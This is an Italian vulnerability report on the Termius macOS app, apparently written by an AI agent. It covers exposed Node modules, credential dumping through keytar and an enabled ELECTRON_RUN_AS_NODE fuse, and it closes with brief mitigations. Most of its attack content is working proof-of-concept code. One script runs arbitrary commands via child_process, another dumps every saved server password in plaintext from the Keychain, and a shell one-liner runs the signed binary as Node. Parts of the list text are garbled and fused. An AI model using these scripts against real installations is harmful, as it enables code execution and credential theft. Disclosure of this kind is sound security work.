
Obiettivo: Termius (macOS) Versione testata: Ultima (a partire da gennaio 2026) Impatto: Esecuzione di codice in remoto (RCE), Escalation di privilegi locale (LPE), Bypass della sicurezza dell'app
Sono state identificate tre vulnerabilità critiche nell'applicazione Termius macOS che consentono a un attaccante di:
keytar esposto.ELECTRON_RUN_AS_NODE.L'applicazione espone potenti moduli Node.js (child_process, fs, electron) al processo renderer (la parte di interfaccia web dell'app). Questi moduli sono nascosti dietro un Symbol globale nell'oggetto window per oscurarli, ma non sono isolati in modo sicuro.
// In extracted app source
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
Un attaccante che ottiene Cross-Site Scripting (XSS) può immediatamente escalare a RCE utilizzando questo symbol esposto.
poc_rce_via_symbol.js:
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("RCE Target Acquired.");
// 3. Execute arbitrary system command (e.g., Calculator)
backdoor.child_process.exec("open -a Calculator");
}
Il modulo nativo Node keytar, che Termius utilizza per interfacciarsi con il Keychain di macOS, è anch'esso esposto tramite lo stesso Symbol nascosto. Ciò consente a qualsiasi script in esecuzione nel contesto dell'applicazione (ad esempio, un plugin dannoso, XSS o l'iniezione di processi locali) di interrogare e recuperare password in chiaro per tutti i server salvati.
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
console.table(credentials);
});
RunAsNode)Il binario di Termius non disabilita il fuse ELECTRON_RUN_AS_NODE. Questa è una configurazione di sicurezza critica errata che consente a qualsiasi utente locale di eseguire il binario firmato di Termius come un normale eseguibile Node.js. Ciò bypassa completamente i controlli di integrità della firma del codice di macOS per la logica dell'applicazione.
poc_fuse.sh:
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
RunAsNode e EnableNodeCliInspectArguments utilizzando @electron/fuses durante la build.window o global. Utilizzare contextBridge.exposeInMainWorld con una superficie API ristretta che esponga solo le funzioni necessarie, non interi moduli.Report generato da Antigravity Agent